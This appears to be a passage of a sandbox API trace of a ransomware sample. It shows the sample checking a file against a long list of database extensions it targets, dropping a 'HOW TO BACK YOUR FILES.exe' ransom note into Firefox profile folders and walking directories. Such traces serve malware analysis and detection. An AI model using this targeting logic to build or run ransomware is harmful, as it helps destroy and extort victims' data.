	[0042.711] lstrcmpiW (lpString1="on", lpString2="db") returned 1
	[0042.711] lstrlenW (lpString="db2") returned 3
	[0042.711] lstrcmpiW (lpString1="son", lpString2="db2") returned 1
	[0042.711] lstrlenW (lpString="db3") returned 3
	[0042.711] lstrcmpiW (lpString1="son", lpString2="db3") returned 1
	[0042.711] lstrlenW (lpString="dbf") returned 3
	[0042.711] lstrcmpiW (lpString1="son", lpString2="dbf") returned 1
	[0042.711] lstrlenW (lpString="mdf") returned 3
	[0042.711] lstrcmpiW (lpString1="son", lpString2="mdf") returned 1
	[0042.711] lstrlenW (lpString="mdb") returned 3
	[0042.711] lstrcmpiW (lpString1="son", lpString2="mdb") returned 1
	[0042.711] lstrlenW (lpString="sql") returned 3
	[0042.711] lstrcmpiW (lpString1="son", lpString2="sql") returned -1
	[0042.711] lstrlenW (lpString="sqlite") returned 6
	[0042.711] lstrcmpiW (lpString1="s.json", lpString2="sqlite") returned -1
	[0042.711] lstrlenW (lpString="sqlite3") returned 7
	[0042.711] lstrcmpiW (lpString1="ps.json", lpString2="sqlite3") returned -1
	[0042.711] lstrlenW (lpString="sqlitedb") returned 8
	[0042.711] lstrcmpiW (lpString1="pps.json", lpString2="sqlitedb") returned -1
	[0042.711] lstrlenW (lpString="xml") returned 3
	[0042.711] lstrcmpiW (lpString1="son", lpString2="xml") returned -1
	[0042.711] lstrlenW (lpString="$er") returned 3
	[0042.711] lstrcmpiW (lpString1="son", lpString2="$er") returned 1
	[0042.711] lstrlenW (lpString="4dd") returned 3
	[0042.711] lstrcmpiW (lpString1="son", lpString2="4dd") returned 1
	[0042.712] lstrlenW (lpString="4dl") returned 3
	[0042.712] lstrcmpiW (lpString1="son", lpString2="4dl") returned 1
	[0042.712] lstrlenW (lpString="^^^") returned 3
	[0042.712] lstrcmpiW (lpString1="son", lpString2="^^^") returned 1
	[0042.712] lstrlenW (lpString="abs") returned 3
	[0042.712] lstrcmpiW (lpString1="son", lpString2="abs") returned 1
	[0042.712] lstrlenW (lpString="abx") returned 3
	[0042.712] lstrcmpiW (lpString1="son", lpString2="abx") returned 1
	[0042.712] lstrlenW (lpString="accdb") returned 5
	[0042.712] lstrcmpiW (lpString1=".json", lpString2="accdb") returned -1
	[0042.712] lstrlenW (lpString="accdc") returned 5
	[0042.712] lstrcmpiW (lpString1=".json", lpString2="accdc") returned -1
	[0042.712] lstrlenW (lpString="accde") returned 5
	[0042.712] lstrcmpiW (lpString1=".json", lpString2="accde") returned -1
	[0042.712] lstrlenW (lpString="accdr") returned 5
	[0042.712] lstrcmpiW (lpString1=".json", lpString2="accdr") returned -1
	[0042.712] lstrlenW (lpString="accdt") returned 5
	[0042.712] lstrcmpiW (lpString1=".json", lpString2="accdt") returned -1
	[0042.712] lstrlenW (lpString="accdw") returned 5
	[0042.712] lstrcmpiW (lpString1=".json", lpString2="accdw") returned -1
	[0042.712] lstrlenW (lpString="accft") returned 5
	[0042.712] lstrcmpiW (lpString1=".json", lpString2="accft") returned -1
	[0042.712] lstrlenW (lpString="adb") returned 3
	[0042.712] lstrcmpiW (lpString1="son", lpString2="adb") returned 1
	[0042.712] lstrlenW (lpString="adb") returned 3
	[0042.712] lstrcmpiW (lpString1="son", lpString2="adb") returned 1
	[0042.712] lstrlenW (lpString="ade") returned 3
	[0042.712] lstrcmpiW (lpString1="son", lpString2="ade") returned 1
	[0042.712] lstrlenW (lpString="adf") returned 3
	[0042.712] lstrcmpiW (lpString1="son", lpString2="adf") returned 1
	[0042.712] lstrlenW (lpString="adn") returned 3
	[0042.712] lstrcmpiW (lpString1="son", lpString2="adn") returned 1
	[0042.712] lstrlenW (lpString="adp") returned 3
	[0042.712] lstrcmpiW (lpString1="son", lpString2="adp") returned 1
	[0042.713] lstrlenW (lpString="alf") returned 3
	[0042.713] lstrcmpiW (lpString1="son", lpString2="alf") returned 1
	[0042.713] lstrlenW (lpString="ask") returned 3
	[0042.713] lstrcmpiW (lpString1="son", lpString2="ask") returned 1
	[0042.713] lstrlenW (lpString="btr") returned 3
	[0042.713] lstrcmpiW (lpString1="son", lpString2="btr") returned 1
	[0042.713] lstrlenW (lpString="cat") returned 3
	[0042.713] lstrcmpiW (lpString1="son", lpString2="cat") returned 1
	[0042.713] lstrlenW (lpString="cdb") returned 3
	[0042.713] lstrcmpiW (lpString1="son", lpString2="cdb") returned 1
	[0042.713] lstrlenW (lpString="ckp") returned 3
	[0042.713] lstrcmpiW (lpString1="son", lpString2="ckp") returned 1
	[0042.713] lstrlenW (lpString="cma") returned 3
	[0042.713] lstrcmpiW (lpString1="son", lpString2="cma") returned 1
	[0042.713] lstrlenW (lpString="cpd") returned 3
	[0042.713] lstrcmpiW (lpString1="son", lpString2="cpd") returned 1
	[0042.713] lstrlenW (lpString="dacpac") returned 6
	[0042.713] lstrcmpiW (lpString1="s.json", lpString2="dacpac") returned 1
	[0042.713] lstrlenW (lpString="dad") returned 3
	[0042.713] lstrcmpiW (lpString1="son", lpString2="dad") returned 1
	[0042.713] lstrlenW (lpString="dadiagrams") returned 10
	[0042.713] lstrcmpiW (lpString1="bapps.json", lpString2="dadiagrams") returned -1
	[0042.713] lstrlenW (lpString="daschema") returned 8
	[0042.713] lstrcmpiW (lpString1="pps.json", lpString2="daschema") returned 1
	[0042.713] lstrlenW (lpString="db-journal") returned 10
	[0042.713] lstrcmpiW (lpString1="bapps.json", lpString2="db-journal") returned -1
	[0042.714] lstrlenW (lpString="db-shm") returned 6
	[0042.714] lstrcmpiW (lpString1="s.json", lpString2="db-shm") returned 1
	[0042.714] lstrlenW (lpString="db-wal") returned 6
	[0042.714] lstrcmpiW (lpString1="s.json", lpString2="db-wal") returned 1
	[0042.714] lstrlenW (lpString="dbc") returned 3
	[0042.714] lstrcmpiW (lpString1="son", lpString2="dbc") returned 1
	[0042.714] lstrlenW (lpString="dbs") returned 3
	[0042.714] lstrcmpiW (lpString1="son", lpString2="dbs") returned 1
	[0042.714] lstrlenW (lpString="dbt") returned 3
	[0042.714] lstrcmpiW (lpString1="son", lpString2="dbt") returned 1
	[0042.714] lstrlenW (lpString="dbv") returned 3
	[0042.714] lstrcmpiW (lpString1="son", lpString2="dbv") returned 1
	[0042.714] lstrlenW (lpString="dbx") returned 3
	[0042.714] lstrcmpiW (lpString1="son", lpString2="dbx") returned 1
	[0042.714] lstrlenW (lpString="dcb") returned 3
	[0042.714] lstrcmpiW (lpString1="son", lpString2="dcb") returned 1
	[0042.714] lstrlenW (lpString="dct") returned 3
	[0042.714] lstrcmpiW (lpString1="son", lpString2="dct") returned 1
	[0042.714] lstrlenW (lpString="dcx") returned 3
	[0042.714] lstrcmpiW (lpString1="son", lpString2="dcx") returned 1
	[0042.714] lstrlenW (lpString="ddl") returned 3
	[0042.714] lstrcmpiW (lpString1="son", lpString2="ddl") returned 1
	[0042.714] lstrlenW (lpString="dlis") returned 4
	[0042.714] lstrcmpiW (lpString1="json", lpString2="dlis") returned 1
	[0042.714] lstrlenW (lpString="dp1") returned 3
	[0042.714] lstrcmpiW (lpString1="son", lpString2="dp1") returned 1
	[0042.714] lstrlenW (lpString="dqy") returned 3
	[0042.715] lstrcmpiW (lpString1="son", lpString2="dqy") returned 1
	[0042.715] lstrlenW (lpString="dsk") returned 3
	[0042.715] lstrcmpiW (lpString1="son", lpString2="dsk") returned 1
	[0042.715] lstrlenW (lpString="dsn") returned 3
	[0042.715] lstrcmpiW (lpString1="son", lpString2="dsn") returned 1
	[0042.715] lstrlenW (lpString="dtsx") returned 4
	[0042.715] lstrcmpiW (lpString1="json", lpString2="dtsx") returned 1
	[0042.715] lstrlenW (lpString="dxl") returned 3
	[0042.715] lstrcmpiW (lpString1="son", lpString2="dxl") returned 1
	[0042.715] lstrlenW (lpString="eco") returned 3
	[0042.715] lstrcmpiW (lpString1="son", lpString2="eco") returned 1
	[0042.715] lstrlenW (lpString="ecx") returned 3
	[0042.715] lstrcmpiW (lpString1="son", lpString2="ecx") returned 1
	[0042.715] lstrlenW (lpString="edb") returned 3
	[0042.715] lstrcmpiW (lpString1="son", lpString2="edb") returned 1
	[0042.715] lstrlenW (lpString="epim") returned 4
	[0042.715] lstrcmpiW (lpString1="json", lpString2="epim") returned 1
	[0042.715] lstrlenW (lpString="fcd") returned 3
	[0042.715] lstrcmpiW (lpString1="son", lpString2="fcd") returned 1
	[0042.715] lstrlenW (lpString="fdb") returned 3
	[0042.715] lstrcmpiW (lpString1="son", lpString2="fdb") returned 1
	[0042.715] lstrlenW (lpString="fic") returned 3
	[0042.715] lstrcmpiW (lpString1="son", lpString2="fic") returned 1
	[0042.715] lstrlenW (lpString="flexolibrary") returned 12
	[0042.715] lstrlenW (lpString="fm5") returned 3
	[0042.715] lstrcmpiW (lpString1="son", lpString2="fm5") returned 1
	[0042.715] lstrlenW (lpString="fmp") returned 3
	[0042.715] lstrcmpiW (lpString1="son", lpString2="fmp") returned 1
	[0042.715] lstrlenW (lpString="fmp12") returned 5
	[0042.715] lstrcmpiW (lpString1=".json", lpString2="fmp12") returned -1
	[0042.715] lstrlenW (lpString="fmpsl") returned 5
	[0042.715] lstrcmpiW (lpString1=".json", lpString2="fmpsl") returned -1
	[0042.715] lstrlenW (lpString="fol") returned 3
	[0042.715] lstrcmpiW (lpString1="son", lpString2="fol") returned 1
	[0042.715] lstrlenW (lpString="fp3") returned 3
	[0042.716] lstrcmpiW (lpString1="son", lpString2="fp3") returned 1
	[0042.716] lstrlenW (lpString="fp4") returned 3
	[0042.716] lstrcmpiW (lpString1="son", lpString2="fp4") returned 1
	[0042.716] lstrlenW (lpString="fp5") returned 3
	[0042.716] lstrcmpiW (lpString1="son", lpString2="fp5") returned 1
	[0042.716] lstrlenW (lpString="fp7") returned 3
	[0042.716] lstrcmpiW (lpString1="son", lpString2="fp7") returned 1
	[0042.716] lstrlenW (lpString="fpt") returned 3
	[0042.716] lstrcmpiW (lpString1="son", lpString2="fpt") returned 1
	[0042.716] lstrlenW (lpString="frm") returned 3
	[0042.716] lstrcmpiW (lpString1="son", lpString2="frm") returned 1
	[0042.716] lstrlenW (lpString="gdb") returned 3
	[0042.716] lstrcmpiW (lpString1="son", lpString2="gdb") returned 1
	[0042.716] lstrlenW (lpString="gdb") returned 3
	[0042.716] lstrcmpiW (lpString1="son", lpString2="gdb") returned 1
	[0042.716] lstrlenW (lpString="grdb") returned 4
	[0042.716] lstrcmpiW (lpString1="json", lpString2="grdb") returned 1
	[0042.716] lstrlenW (lpString="gwi") returned 3
	[0042.716] lstrcmpiW (lpString1="son", lpString2="gwi") returned 1
	[0042.716] lstrlenW (lpString="hdb") returned 3
	[0042.716] lstrcmpiW (lpString1="son", lpString2="hdb") returned 1
	[0042.716] lstrlenW (lpString="his") returned 3
	[0042.716] lstrcmpiW (lpString1="son", lpString2="his") returned 1
	[0042.716] lstrlenW (lpString="ib") returned 2
	[0042.716] lstrcmpiW (lpString1="on", lpString2="ib") returned 1
	[0042.716] lstrlenW (lpString="idb") returned 3
	[0042.716] lstrcmpiW (lpString1="son", lpString2="idb") returned 1
	[0042.716] lstrlenW (lpString="ihx") returned 3
	[0042.716] lstrcmpiW (lpString1="son", lpString2="ihx") returned 1
	[0042.716] lstrlenW (lpString="itdb") returned 4
	[0042.716] lstrcmpiW (lpString1="json", lpString2="itdb") returned 1
	[0042.716] lstrlenW (lpString="itw") returned 3
	[0042.716] lstrcmpiW (lpString1="son", lpString2="itw") returned 1
	[0042.716] lstrlenW (lpString="jet") returned 3
	[0042.716] lstrcmpiW (lpString1="son", lpString2="jet") returned 1
	[0042.717] lstrlenW (lpString="jtx") returned 3
	[0042.717] lstrcmpiW (lpString1="son", lpString2="jtx") returned 1
	[0042.717] lstrlenW (lpString="kdb") returned 3
	[0042.717] lstrcmpiW (lpString1="son", lpString2="kdb") returned 1
	[0042.717] lstrlenW (lpString="kexi") returned 4
	[0042.717] lstrcmpiW (lpString1="json", lpString2="kexi") returned -1
	[0042.717] lstrlenW (lpString="kexic") returned 5
	[0042.717] lstrcmpiW (lpString1=".json", lpString2="kexic") returned -1
	[0042.717] lstrlenW (lpString="kexis") returned 5
	[0042.717] lstrcmpiW (lpString1=".json", lpString2="kexis") returned -1
	[0042.717] lstrlenW (lpString="lgc") returned 3
	[0042.717] lstrcmpiW (lpString1="son", lpString2="lgc") returned 1
	[0042.717] lstrlenW (lpString="lwx") returned 3
	[0042.717] lstrcmpiW (lpString1="son", lpString2="lwx") returned 1
	[0042.717] lstrlenW (lpString="maf") returned 3
	[0042.717] lstrcmpiW (lpString1="son", lpString2="maf") returned 1
	[0042.717] lstrlenW (lpString="maq") returned 3
	[0042.717] lstrcmpiW (lpString1="son", lpString2="maq") returned 1
	[0042.717] lstrlenW (lpString="mar") returned 3
	[0042.717] lstrcmpiW (lpString1="son", lpString2="mar") returned 1
	[0042.717] lstrlenW (lpString="marshal") returned 7
	[0042.717] lstrcmpiW (lpString1="ps.json", lpString2="marshal") returned 1
	[0042.717] lstrlenW (lpString="mas") returned 3
	[0042.717] lstrcmpiW (lpString1="son", lpString2="mas") returned 1
	[0042.717] lstrlenW (lpString="mav") returned 3
	[0042.717] lstrcmpiW (lpString1="son", lpString2="mav") returned 1
	[0042.717] lstrlenW (lpString="maw") returned 3
	[0042.717] lstrcmpiW (lpString1="son", lpString2="maw") returned 1
	[0042.717] lstrlenW (lpString="mdbhtml") returned 7
	[0042.717] lstrcmpiW (lpString1="ps.json", lpString2="mdbhtml") returned 1
	[0042.717] lstrlenW (lpString="mdn") returned 3
	[0042.717] lstrcmpiW (lpString1="son", lpString2="mdn") returned 1
	[0042.717] lstrlenW (lpString="mdt") returned 3
	[0042.717] lstrcmpiW (lpString1="son", lpString2="mdt") returned 1
	[0042.718] lstrlenW (lpString="mfd") returned 3
	[0042.718] lstrcmpiW (lpString1="son", lpString2="mfd") returned 1
	[0042.718] lstrlenW (lpString="mpd") returned 3
	[0042.718] lstrcmpiW (lpString1="son", lpString2="mpd") returned 1
	[0042.718] lstrlenW (lpString="mrg") returned 3
	[0042.718] lstrcmpiW (lpString1="son", lpString2="mrg") returned 1
	[0042.718] lstrlenW (lpString="mud") returned 3
	[0042.718] lstrcmpiW (lpString1="son", lpString2="mud") returned 1
	[0042.718] lstrlenW (lpString="mwb") returned 3
	[0042.718] lstrcmpiW (lpString1="son", lpString2="mwb") returned 1
	[0042.718] lstrlenW (lpString="myd") returned 3
	[0042.718] lstrcmpiW (lpString1="son", lpString2="myd") returned 1
	[0042.718] lstrlenW (lpString="ndf") returned 3
	[0042.718] lstrcmpiW (lpString1="son", lpString2="ndf") returned 1
	[0042.718] lstrlenW (lpString="nnt") returned 3
	[0042.718] lstrcmpiW (lpString1="son", lpString2="nnt") returned 1
	[0042.718] lstrlenW (lpString="nrmlib") returned 6
	[0042.718] lstrcmpiW (lpString1="s.json", lpString2="nrmlib") returned 1
	[0042.718] lstrlenW (lpString="ns2") returned 3
	[0042.718] lstrcmpiW (lpString1="son", lpString2="ns2") returned 1
	[0042.718] lstrlenW (lpString="ns3") returned 3
	[0042.718] lstrcmpiW (lpString1="son", lpString2="ns3") returned 1
	[0042.718] lstrlenW (lpString="ns4") returned 3
	[0042.718] lstrcmpiW (lpString1="son", lpString2="ns4") returned 1
	[0042.718] lstrlenW (lpString="nsf") returned 3
	[0042.718] lstrcmpiW (lpString1="son", lpString2="nsf") returned 1
	[0042.718] lstrlenW (lpString="nv") returned 2
	[0042.718] lstrcmpiW (lpString1="on", lpString2="nv") returned 1
	[0042.718] lstrlenW (lpString="nv2") returned 3
	[0042.718] lstrcmpiW (lpString1="son", lpString2="nv2") returned 1
	[0042.718] lstrlenW (lpString="nwdb") returned 4
	[0042.718] lstrcmpiW (lpString1="json", lpString2="nwdb") returned -1
	[0042.718] lstrlenW (lpString="nyf") returned 3
	[0042.718] lstrcmpiW (lpString1="son", lpString2="nyf") returned 1
	[0042.718] lstrlenW (lpString="odb") returned 3
	[0042.719] lstrcmpiW (lpString1="son", lpString2="odb") returned 1
	[0042.719] lstrlenW (lpString="odb") returned 3
	[0042.719] lstrcmpiW (lpString1="son", lpString2="odb") returned 1
	[0042.719] lstrlenW (lpString="oqy") returned 3
	[0042.719] lstrcmpiW (lpString1="son", lpString2="oqy") returned 1
	[0042.719] lstrlenW (lpString="ora") returned 3
	[0042.719] lstrcmpiW (lpString1="son", lpString2="ora") returned 1
	[0042.719] lstrlenW (lpString="orx") returned 3
	[0042.719] lstrcmpiW (lpString1="son", lpString2="orx") returned 1
	[0042.719] lstrlenW (lpString="owc") returned 3
	[0042.719] lstrcmpiW (lpString1="son", lpString2="owc") returned 1
	[0042.719] lstrlenW (lpString="p96") returned 3
	[0042.719] lstrcmpiW (lpString1="son", lpString2="p96") returned 1
	[0042.719] lstrlenW (lpString="p97") returned 3
	[0042.719] lstrcmpiW (lpString1="son", lpString2="p97") returned 1
	[0042.719] lstrlenW (lpString="pan") returned 3
	[0042.719] lstrcmpiW (lpString1="son", lpString2="pan") returned 1
	[0042.719] lstrlenW (lpString="pdb") returned 3
	[0042.719] lstrcmpiW (lpString1="son", lpString2="pdb") returned 1
	[0042.719] lstrlenW (lpString="pdm") returned 3
	[0042.719] lstrcmpiW (lpString1="son", lpString2="pdm") returned 1
	[0042.719] lstrlenW (lpString="pnz") returned 3
	[0042.719] lstrcmpiW (lpString1="son", lpString2="pnz") returned 1
	[0042.719] lstrlenW (lpString="qry") returned 3
	[0042.719] lstrcmpiW (lpString1="son", lpString2="qry") returned 1
	[0042.719] lstrlenW (lpString="qvd") returned 3
	[0042.719] lstrcmpiW (lpString1="son", lpString2="qvd") returned 1
	[0042.719] lstrlenW (lpString="rbf") returned 3
	[0042.719] lstrcmpiW (lpString1="son", lpString2="rbf") returned 1
	[0042.719] lstrlenW (lpString="rctd") returned 4
	[0042.719] lstrcmpiW (lpString1="json", lpString2="rctd") returned -1
	[0042.719] lstrlenW (lpString="rod") returned 3
	[0042.719] lstrcmpiW (lpString1="son", lpString2="rod") returned 1
	[0042.719] lstrlenW (lpString="rodx") returned 4
	[0042.719] lstrcmpiW (lpString1="json", lpString2="rodx") returned -1
	[0042.719] lstrlenW (lpString="rpd") returned 3
	[0042.719] lstrcmpiW (lpString1="son", lpString2="rpd") returned 1
	[0042.720] lstrlenW (lpString="rsd") returned 3
	[0042.720] lstrcmpiW (lpString1="son", lpString2="rsd") returned 1
	[0042.720] lstrlenW (lpString="sas7bdat") returned 8
	[0042.720] lstrcmpiW (lpString1="pps.json", lpString2="sas7bdat") returned -1
	[0042.720] lstrlenW (lpString="sbf") returned 3
	[0042.720] lstrcmpiW (lpString1="son", lpString2="sbf") returned 1
	[0042.720] lstrlenW (lpString="scx") returned 3
	[0042.720] lstrcmpiW (lpString1="son", lpString2="scx") returned 1
	[0042.720] lstrlenW (lpString="sdb") returned 3
	[0042.720] lstrcmpiW (lpString1="son", lpString2="sdb") returned 1
	[0042.720] lstrlenW (lpString="sdc") returned 3
	[0042.720] lstrcmpiW (lpString1="son", lpString2="sdc") returned 1
	[0042.720] lstrlenW (lpString="sdf") returned 3
	[0042.720] lstrcmpiW (lpString1="son", lpString2="sdf") returned 1
	[0042.720] lstrlenW (lpString="sis") returned 3
	[0042.720] lstrcmpiW (lpString1="son", lpString2="sis") returned 1
	[0042.720] lstrlenW (lpString="spq") returned 3
	[0042.720] lstrcmpiW (lpString1="son", lpString2="spq") returned -1
	[0042.720] lstrlenW (lpString="te") returned 2
	[0042.720] lstrcmpiW (lpString1="on", lpString2="te") returned -1
	[0042.720] lstrlenW (lpString="teacher") returned 7
	[0042.720] lstrcmpiW (lpString1="ps.json", lpString2="teacher") returned -1
	[0042.720] lstrlenW (lpString="tmd") returned 3
	[0042.720] lstrcmpiW (lpString1="son", lpString2="tmd") returned -1
	[0042.720] lstrlenW (lpString="tps") returned 3
	[0042.720] lstrcmpiW (lpString1="son", lpString2="tps") returned -1
	[0042.720] lstrlenW (lpString="trc") returned 3
	[0042.720] lstrcmpiW (lpString1="son", lpString2="trc") returned -1
	[0042.720] lstrlenW (lpString="trc") returned 3
	[0042.720] lstrcmpiW (lpString1="son", lpString2="trc") returned -1
	[0042.720] lstrlenW (lpString="trm") returned 3
	[0042.720] lstrcmpiW (lpString1="son", lpString2="trm") returned -1
	[0042.720] lstrlenW (lpString="udb") returned 3
	[0042.720] lstrcmpiW (lpString1="son", lpString2="udb") returned -1
	[0042.720] lstrlenW (lpString="udl") returned 3
	[0042.720] lstrcmpiW (lpString1="son", lpString2="udl") returned -1
	[0042.721] lstrlenW (lpString="usr") returned 3
	[0042.721] lstrcmpiW (lpString1="son", lpString2="usr") returned -1
	[0042.721] lstrlenW (lpString="v12") returned 3
	[0042.721] lstrcmpiW (lpString1="son", lpString2="v12") returned -1
	[0042.721] lstrlenW (lpString="vis") returned 3
	[0042.721] lstrcmpiW (lpString1="son", lpString2="vis") returned -1
	[0042.721] lstrlenW (lpString="vpd") returned 3
	[0042.721] lstrcmpiW (lpString1="son", lpString2="vpd") returned -1
	[0042.721] lstrlenW (lpString="vvv") returned 3
	[0042.721] lstrcmpiW (lpString1="son", lpString2="vvv") returned -1
	[0042.721] lstrlenW (lpString="wdb") returned 3
	[0042.721] lstrcmpiW (lpString1="son", lpString2="wdb") returned -1
	[0042.721] lstrlenW (lpString="wmdb") returned 4
	[0042.721] lstrcmpiW (lpString1="json", lpString2="wmdb") returned -1
	[0042.721] lstrlenW (lpString="wrk") returned 3
	[0042.721] lstrcmpiW (lpString1="son", lpString2="wrk") returned -1
	[0042.721] lstrlenW (lpString="xdb") returned 3
	[0042.721] lstrcmpiW (lpString1="son", lpString2="xdb") returned -1
	[0042.721] lstrlenW (lpString="xld") returned 3
	[0042.721] lstrcmpiW (lpString1="son", lpString2="xld") returned -1
	[0042.721] lstrlenW (lpString="xmlff") returned 5
	[0042.721] lstrcmpiW (lpString1=".json", lpString2="xmlff") returned -1
	[0042.721] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80cff0f0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80cff0f0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80cff0f0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="webapps.json", cAlternateFileName="WEBAPP~1.JSO")) returned 0
	[0042.721] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0042.721] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b10
	[0042.721] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps"
	[0042.721] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0042.721] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0042.721] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps") returned 97
	[0042.721] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps"
	[0042.721] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0042.722] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\minidumps\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0042.727] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0042.727] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb26740e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x318968b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x318968b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0042.728] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.728] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0042.728] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0042.728] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb26740e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x318968b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x318968b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0042.728] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.728] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0042.728] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0042.728] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0042.728] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x318968b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x318968b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0042.728] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0042.728] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x318968b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x318968b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0042.728] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0042.728] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7af0
	[0042.728] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB"
	[0042.728] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994f0 | out: hHeap=0x580000) returned 1
	[0042.728] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
